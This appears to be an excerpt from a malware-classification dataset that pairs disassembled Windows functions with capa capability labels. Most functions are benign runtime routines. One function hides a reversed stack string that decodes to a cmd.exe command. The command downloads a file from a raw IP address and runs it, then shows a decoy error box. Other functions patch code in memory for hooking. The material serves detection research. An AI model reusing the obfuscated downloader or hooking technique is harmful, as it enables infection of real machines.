joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002167
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
jmp 0x14000a3b4
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x14000a441
movsxd rcx, dword [0x14000003c]
lea rdx, [0x140000000]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x14000a441
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000a441
sub r8, rdx
movzx edx, word [rcx + 0x14]
add rdx, 0x18
add rdx, rcx
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x14000a428
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x14000a422
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x14000a42a
add rdx, 0x28
jmp 0x14000a407
xor edx, edx
test rdx, rdx
jne 0x14000a433
xor al, al
jmp 0x14000a447
cmp dword [rdx + 0x24], 0
jge 0x14000a43d
xor al, al
jmp 0x14000a447
mov al, 1
jmp 0x14000a447
xor al, al
jmp 0x14000a447
add rsp, 0x18
ret

Function at 0x14000269e
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x140017e28
push rbx
sub rsp, 0x20
mov ebx, ecx
lea r9, [0x140080968]
mov ecx, 2
lea r8, [0x140080960]
lea rdx, str.FlsGetValue
call fcn.1400178f8
mov ecx, ebx
test rax, rax
je 0x140017e62
add rsp, 0x20
pop rbx
jmp qword [0x14009f020]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1400027e3
Capabilities:
Query environment variable

Disassembly:
jmp 0x140059308
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140059338
xor eax, eax
jmp 0x1400593fb
mov rbp, rbx
cmp word [rax], si
je 0x14005935d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140059344
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140059340
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140003120
movsxd r14, eax
test eax, eax
jne 0x14005939b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140059331
mov rcx, r14
call fcn.140001037
mov rdi, rax
test rax, rax
jne 0x1400593b4
xor ecx, ecx
call fcn.14000116d
jmp 0x140059390
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140003120
test eax, eax
jne 0x1400593e5
mov rcx, rdi
call fcn.14000116d
jmp 0x1400593ef
xor ecx, ecx
call fcn.14000116d
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400027ed
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x140017d78
push rbx
sub rsp, 0x20
mov rbx, rcx
lea r9, [0x140080928]
xor ecx, ecx
lea r8, [0x140080920]
lea rdx, str.FlsAlloc
call fcn.1400178f8
test rax, rax
je 0x140017db1
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp qword [0x14009f020]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TlsAlloc]

Function at 0x140002865
Capabilities:
Get geographical location

Disassembly:
jmp 0x140061ce4
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov ebx, r9d
mov rdi, r8
mov esi, edx
lea r9, [0x1400843f8]
mov rbp, rcx
lea r8, [0x1400843f0]
lea rdx, str.GetLocaleInfoEx
mov ecx, 7
call fcn.140061200
test rax, rax
je 0x140061d44
movabs r10, 0xe375262d7cd44270
mov r9d, ebx
mov r8, rdi
mov edx, esi
mov rcx, rbp
call qword [0x14009f030]
jmp 0x140061d5e
xor edx, edx
mov rcx, rbp
call fcn.1400021b7
mov ecx, eax
mov r9d, ebx
mov r8, rdi
mov edx, esi
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x14000286f
Capabilities:
Terminate process

Disassembly:
jmp 0x1400786ac
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]

Function at 0x1400029aa
Capabilities:
Parse pe header

Disassembly:
jmp 0x140020db8
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x140020b04

Function at 0x140002b3a
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400784a0
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400784c8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400784c8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140002e37
Capabilities:
Parse pe header

Disassembly:
jmp 0x14000a974
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000a9be
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000a9be
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000a9be
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000a9be
cmp dword [rcx + 0x84], 0xe
jbe 0x14000a9be
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000a9c0
xor al, al
add rsp, 0x28
ret

Function at 0x1400030a3
Capabilities:
Enumerate pe sections

Disassembly:
jmp 0x1400783e0
movsxd r8, dword [rcx + 0x3c]
xor r9d, r9d
add r8, rcx
mov r10, rdx
movzx eax, word [r8 + 0x14]
movzx r11d, word [r8 + 6]
add rax, 0x18
add rax, r8
test r11d, r11d
je 0x140078421
mov edx, dword [rax + 0xc]
cmp r10, rdx
jb 0x140078415
mov ecx, dword [rax + 8]
add ecx, edx
cmp r10, rcx
jb 0x140078423
inc r9d
add rax, 0x28
cmp r9d, r11d
jb 0x140078403
xor eax, eax
ret
Function at 0x140003283
Capabilities:
Terminate process

Disassembly:
jmp 0x140054694
sub rsp, 0x28
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x1400546ae
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
lea ecx, [r8 + 1]
call fcn.140003918
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000417
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
Function at 0x1400039f9
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x140017e80
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rdx
lea r9, [0x140080988]
mov edi, ecx
lea rdx, str.FlsSetValue
mov ecx, 3
lea r8, [0x140080980]
call fcn.1400178f8
mov rdx, rbx
mov ecx, edi
test rax, rax
je 0x140017ec0
call qword [0x14009f020]
jmp 0x140017ec6
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x140003a8a
Capabilities:
Set environment variable

Disassembly:
jmp 0x14006862c
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400020f9
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400686b6
cmp byte [rbp - 0x21], r15b
je 0x1400686b1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400686ec
call fcn.140003e27
test eax, eax
jne 0x1400686d8
cmp byte [rbp - 0x21], r15b
je 0x1400686d0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400686ec
cmp byte [rbp - 0x21], r15b
je 0x1400686e9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140003fee
test eax, eax
jne 0x14006878c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400020f9
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14006872b
cmp byte [rbp - 0x21], r15b
je 0x140068760
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140068760
call fcn.140003e27
test eax, eax
jne 0x14006874c
cmp byte [rbp - 0x21], r15b
je 0x140068745
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140068760
cmp byte [rbp - 0x21], r15b
je 0x14006875d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140003fee
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14006878c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14006878f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14006879d
mov rcx, rdi
call fcn.14000116d
cmp byte [rbp + 0x3f], r15b
je 0x1400687ac
mov rcx, qword [rbp + 0x27]
call fcn.14000116d
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140003b7a
Capabilities:
Parse pe header

Disassembly:
jmp 0x140020da8
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140020b73
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140020b73
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140020b73
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140020b73
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140020b73
cmp dword [rcx + 0x84], 0xe
jbe 0x140020b73
cmp dword [rcx + 0xf8], 0
je 0x140020b73
mov ecx, ebx
call fcn.140020cec
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140020854
nop
cmp dword [rbp + 0x20], 0
je 0x140020bc1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140020bfc
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140020b04

Function at 0x14000a974
Capabilities:
Parse pe header

Disassembly:
jmp 0x14000a974
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000a9be
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000a9be
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000a9be
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000a9be
cmp dword [rcx + 0x84], 0xe
jbe 0x14000a9be
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000a9c0
xor al, al
add rsp, 0x28
ret
Function at 0x3862d13f0
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0xb8
mov r8d, 0x69
mov r10d, 0x82
movabs rax, 0x69635c312e6d7369
movabs rdx, 0x6572735c7075626c
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x20]
movabs rax, 0x302626633a5c7573
mov qword [rsp + 0x28], rdx
movabs rdx, 0x696d656f75742031
mov qword [rsp + 0x30], rax
movabs rax, 0x2f68716d4e262674
mov qword [rsp + 0x38], rdx
movabs rdx, 0x2f457471584a574c
mov qword [rsp + 0x40], rax
movabs rax, 0x2e3137352e313939
mov qword [rsp + 0x48], rdx
movabs rdx, 0x2f2f38382e313139
mov qword [rsp + 0x50], rax
movabs rax, 0x736920687474703a
mov qword [rsp + 0x58], rdx
movabs rdx, 0x626c69635c312e6d
mov qword [rsp + 0x60], rax
movabs rax, 0x75736572735c7075
mov qword [rsp + 0x68], rdx
movabs rdx, 0x6c202d6f20633a5c
mov qword [rsp + 0x70], rax
movabs rax, 0x202f6320635e7572
mov qword [rsp + 0x78], rdx
movabs rdx, 0x5c636d642e657865
mov qword [rsp + 0x80], rax
movabs rax, 0x73797374656d3332
mov qword [rsp + 0x88], rdx
movabs rdx, 0x77696e646f77735c
mov qword [rsp + 0x90], rax
mov eax, 0x82
mov qword [rsp + 0x98], rdx
mov rdx, rcx
mov dword [rsp + 0xa0], 0x633a5c
jmp 0x3862d1524
movzx r8d, byte [rdx]
movzx r9d, byte [rcx + rax]
add rdx, 1
mov byte [rdx - 1], r9b
mov byte [rcx + rax], r8b
sub rax, 1
mov r8d, r10d
sub r8d, eax
cmp r8d, eax
jl 0x3862d1520
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r9d, 0x10
lea r8, str.Internal_Error
xor ecx, ecx
lea rdx, str.An_internal_error_has_occurred.
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
add rsp, 0xb8
ret

Function at 0x3862d1720
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.3862d2420
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.3862d2420
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x3862d1790
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x3862d7064]
mov r12, rcx
test ebx, ebx
jle 0x3862d18c0
mov rax, qword [0x3862d7068]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x3862d17dc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x3862d1863
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x3862d17c0
mov rcx, r12
call fcn.3862d1f10
mov rsi, rax
test rax, rax
je 0x3862d18e2
mov rax, qword [0x3862d7068]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.3862d2040
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x3862d7068]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x3862d18c7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x3862d185c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x3862d1870
add dword [0x3862d7064], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x3862d7068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x3862d185c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.3862d1720
nop dword [rax]
xor ebx, ebx
jmp 0x3862d17e7
mov rax, qword [0x3862d7068]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.3862d1720
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.3862d1720
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x3862d1b80
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x3862d70a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x3862d7080]
test rbx, rbx
je 0x3862d1bd4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x3862d1bcb
test r12, r12
je 0x3862d1bcb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x3862d1bb0
lea rcx, [0x3862d70a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x3862d1f10
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x3862d4220]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x3862d1f30
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x3862d1f38
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3862d1f30
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x3862d1f85
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x3862d1f7c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x3862d1f30
add rax, 0x28
cmp rax, r9
jne 0x3862d1f68
xor eax, eax
ret

Function at 0x3862d1f90
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x3862d4220]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x3862d1fb0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x3862d1fb8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x3862d1fb0
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x3862d2040
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x3862d4220]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x3862d2060
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x3862d2068
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x180001010
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x80
mov rdi, rcx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r14, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
cmp rdi, 0x40000000
jbe 0x180001050
lea rax, [rdi - 0x40000000]
cmp r14, rax
cmovb r14, rax
mov rsi, qword [0x1801864d0]
lea r15, [rdi + 0x40000000]
cmp rcx, r15
cmovbe r15, rcx
sub r15, 0xfff
test rsi, rsi
je 0x18000108e
cmp rsi, r14
jb 0x180001086
cmp rsi, r15
jae 0x180001086
cmp qword [rsi + 8], 0
jne 0x180001257
mov rsi, qword [rsi]
test rsi, rsi
jne 0x180001071
mov qword [rsp + 0xa0], rbx
mov rbx, rdi
mov qword [rsp + 0xa8], rbp
mov qword [rsp + 0xb0], r12
mov r12d, 0x40
cmp rdi, r14
jb 0x180001122
nop dword [rax]
nop dword [rax + rax]
mov ebp, dword [rsp + 0x48]
mov rax, rbx
xor edx, edx
div rbp
sub rbx, rdx
sub rbx, rbp
cmp rbx, r14
jb 0x180001119
nop word [rax + rax]
mov r8d, 0x30
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x180001119
cmp dword [rsp + 0x70], 0x10000
je 0x18000119b
mov rbx, qword [rsp + 0x58]
cmp rbx, rbp
jb 0x180001119
sub rbx, rbp
cmp rbx, r14
jae 0x1800010e0
test rsi, rsi
jne 0x180001200
cmp rdi, r15
ja 0x18000123f
nop dword [rax + rax]
mov ebp, dword [rsp + 0x48]
xor edx, edx
mov rax, rdi
mov ebx, ebp
div rbp
mov eax, ebp
sub rax, rdx
add rax, rdi
mov rdi, rax
cmp rax, r15
ja 0x18000123f
mov r8d, 0x30
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x18000123f
cmp dword [rsp + 0x70], 0x10000
je 0x1800011d1
xor edx, edx
lea edi, [rbp - 1]
add rdi, qword [rsp + 0x68]
add rdi, qword [rsp + 0x50]
mov rax, rdi
div rbx
sub rdi, rdx
cmp rdi, r15
jbe 0x180001152
jmp 0x18000123f
test rbx, rbx
je 0x180001119
mov r9d, r12d
mov edx, 0x1000
mov r8d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x180001200
cmp rbx, r14
jae 0x1800010c0
jmp 0x180001122
test rdi, rdi
je 0x18000123f
mov r9d, r12d
mov edx, 0x1000
mov r8d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x180001200
cmp rdi, r15
jbe 0x180001130
jmp 0x18000123f
xor edx, edx
lea rcx, [rsi + 0x40]
mov dword [rsi + 0x10], edx
nop dword [rax]
mov qword [rcx], rdx
mov rax, rcx
mov qword [rsi + 8], rcx
add r12, 0x40
add rcx, 0x40
mov rdx, rax
cmp r12, 0xfc0
jbe 0x180001210
mov rax, qword [0x1801864d0]
mov qword [rsi], rax
mov qword [0x1801864d0], rsi
mov r12, qword [rsp + 0xb0]
mov rbp, qword [rsp + 0xa8]
mov rbx, qword [rsp + 0xa0]
mov rax, rsi
mov rsi, qword [rsp + 0xb8]
add rsp, 0x80
pop r15
pop r14
pop rdi
ret
Function at 0x18001e8f0
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x50
mov rax, qword [0x180101010]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor esi, esi
mov r14d, edx
mov rbx, rcx
mov qword [rcx], rsi
mov qword [rcx + 8], rsi
xor edx, edx
mov ebp, r8d
lea ecx, [rsi + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18001ea1b
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x18001ea12
nop dword [rax]
cmp dword [rsp + 0x20], 0x10
jb 0x18001e9f4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x2c], eax
jne 0x18001e9f4
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rsp + 0x28], eax
je 0x18001e9f4
mov rdx, qword [rbx]
test rdx, rdx
jne 0x18001e9b2
mov rcx, qword [0x180186218]
mov r8d, 0x200
mov dword [rbx + 8], 0x80
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx], rax
mov rdx, rax
test rax, rax
je 0x18001ea12
jmp 0x18001e9e7
mov eax, dword [rbx + 8]
cmp dword [rbx + 0xc], eax
jb 0x18001e9e7
mov rcx, qword [0x180186218]
lea r9d, [rax + rax]
mov r8, rdx
shl r9, 2
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rdx, rax
test rax, rax
je 0x18001ea12
mov eax, dword [rbx + 8]
add eax, eax
mov qword [rbx], rdx
mov dword [rbx + 8], eax
mov ecx, dword [rbx + 0xc]
mov eax, dword [rsp + 0x28]
mov dword [rdx + rcx*4], eax
inc dword [rbx + 0xc]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x18001e960
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbx], rsi
je 0x18001ea73
cmp dword [rbx + 0xc], esi
jbe 0x18001ea73
nop word [rax + rax]
mov rax, qword [rbx]
xor edx, edx
mov ecx, esi
mov r8d, dword [rax + rcx*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x18001ea6c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov r8d, ebp
mov edx, r14d
mov rcx, rdi
call fcn.18001e740
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [rbx + 0xc]
jb 0x18001ea30
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.18006e830
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x18001eaa0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
mov eax, ecx
lea r9, [rsp + 0x30]
imul rbx, rax, 0x38
mov esi, edx
add rbx, qword [0x1801864c0]
mov r8, qword [rbx]
movzx eax, byte [rbx + 0x20]
and al, 1
movzx ecx, al
lea rdi, [r8 - 5]
cmove rdi, r8
mov r8d, 0x40
lea rbp, [rcx*2 + 5]
mov rcx, rdi
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x18001eb04
mov eax, 0xa
jmp 0x18001eb93
test esi, esi
je 0x18001eb26
mov byte [rdi], 0xe9
mov eax, dword [rbx + 8]
sub eax, edi
sub eax, 5
mov dword [rdi + 1], eax
test byte [rbx + 0x20], 1
je 0x18001eb49
mov rax, qword [rbx]
mov word [rax], 0xf9eb
jmp 0x18001eb49
mov eax, dword [rbx + 0x18]
test byte [rbx + 0x20], 1
mov dword [rdi], eax
je 0x18001eb42
movzx eax, word [rbx + 0x1c]
mov word [rdi + 4], ax
movzx eax, byte [rbx + 0x1e]
mov byte [rdi + 6], al
jmp 0x18001eb49
movzx eax, byte [rbx + 0x1c]
mov byte [rdi + 4], al
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, rbp
mov rdx, rdi
